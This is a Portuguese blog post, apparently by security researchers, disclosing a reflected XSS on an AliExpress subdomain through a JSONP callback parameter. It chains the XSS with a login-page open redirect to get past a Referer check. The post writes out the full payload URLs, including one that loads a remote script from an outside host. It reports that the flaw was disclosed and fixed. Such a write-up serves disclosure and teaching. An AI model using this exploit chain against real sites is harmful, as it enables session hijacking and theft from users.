Injeção de código AliExpress
Neste blog, apresentarei uma descoberta que encontrei com Dikla Barda no AliExpress.
Como você sabe, o AliExpress usa cupons como um método para atrair novos clientes e reter clientes existentes. Quando você compra no site, recebe cupons para resgatar e, se você é um novo cliente, recebe um cupom para um novo cliente.
Você também pode ver, ao pagar pelos produtos no site, que o AliExpress oferece a você salvar suas informações de crédito e também oferece um cupom se você salvar suas informações de crédito no sistema AliPay.
É assim que um dos cupons do AliExpress se parece para os clientes que mantêm suas informações de crédito:
então, ocorreu-nos tentar examinar as defesas do AliExpress e detectar falhas de segurança no sistema e, é claro, denunciá-las para manter seu site seguro.
Vídeo de demonstração:
A parte técnica
Durante o estudo, descobrimos que o AliExpress usa um grande número de subdomínios, o que nos levou a percorrer um subdomínio para outro até encontrarmos o seguinte subdomínio:
us.cobra.aliexpress.com
que usa o parâmetro :
cb
Você pode ver que o parâmetro é refletido na resposta da mensagem:
Além do reflexo do parâmetro, é possível ver que o tipo de content-type retornada é text/html, o que faria com que o navegador executasse nosso código, se o tipo de conteúdo fosse application/javascript, o código não executaria e o XSS não funcionaria.
Outro ponto que eu gostaria de destacar é que o estranho comportamento de criação de parâmetros na barra de endereços que afeta o nome de uma função de resposta, como o AliExpress fez, na verdade, faz parte da implementação do jsonp.
Sobre o jsonp e o método pode ser lido em profundidade em meu curso completo - "Teste de resiliência cibernética na Web"
Agora, vinculamos ao XSS e tentaremos exibir a mensagem de alert(1) assim:
https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107&cb=>scrtip>alert(1)>/script>
Copiamos o link para o navegador e o abrimos, mas, para nossa surpresa, nada apareceu, porém recebemos a seguinte resposta:
Por alguma razão, o reflexo não apareceu, revisamos a resposta anterior:
e vemos essa mensagem de fato Reflexão e tudo funciona, usamos a ferramenta de comparador do burp suite (comparer) e comparamos os pacotes.
A diferença entre os pacotes é o título do referer, o pacote com o título do referer tem uma resposta do servidor porém o pacote sem o título do referer não há resposta do servidor.
Sobre o referer, também explico no curso completo – "Teste de resiliência cibernética na Web".
Após testar os pacotes e examiná-los, concluímos que o AliExpress usa o título do referer para bloquear ataques XSS, garantindo que as referências sejam apenas do domínio do AliExpress e não chegam diretamente ao abrir o navegador pela barra de endereço.
Deve-se dizer que essa é uma defesa interessante, mas não é útil se for encontrado um open redirect que navegará até a página vulnerável e adicionará o próprio título.
Na verdade, mudamos nosso foco para a detecção de open redirect e, para nossa surpresa, no formulário de login principal, há um redirecionamento aberto que leva o usuário à página especificada sob o parâmetro: params
params
então tudo o que precisamos fazer é concatenar o payload do XSS para o parâmetro params e permitir que o AliExpress faça uma transição direta para o nosso payload, e mais ainda! Se o sistema lembrar o nome de usuário e a senha do usuário, você será transferido diretamente para uma página com o XSS e se o sistema não se lembrar, você irá para a página do xss após inserir o nome de usuário e senha diretamente da página oficial de login!
É assim que o payload final se parece:
https://login.aliexpress.com/havana_login_check.htm?site=4&loginurl=https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26cb=3D%253Cscript%253Ealert%25281%2529%253C%252Fscript%253E&**params =https://us.cobra.aliexpress.com/p4pforlist.html?pid=801_0000_0107%26**cb=%253Cscript%2Btype%253D%2527text%252Fjavascript%2527%2Bsrc%253D %2522https%253A%252F%252Fgmailtracker.com%252Fpoc.js%2522%253E%253C%252Fscript%253E****
É claro que, se um invasor mal-intencionado quiser explorá-lo, ele diminuirá o link para algo assim:
ou até mesmo cum ódigo QR pode ser criado::
Clicar em um dos links ou alternativamente no código QR fará com que nosso código seja executado e a seguinte janela será aberta:
Observe que reportamos ao AliExpress - e eles responderam de forma responsável corrigindo as falhas em poucos dias e até adicionaram nossos nomes ao Hall da Fama: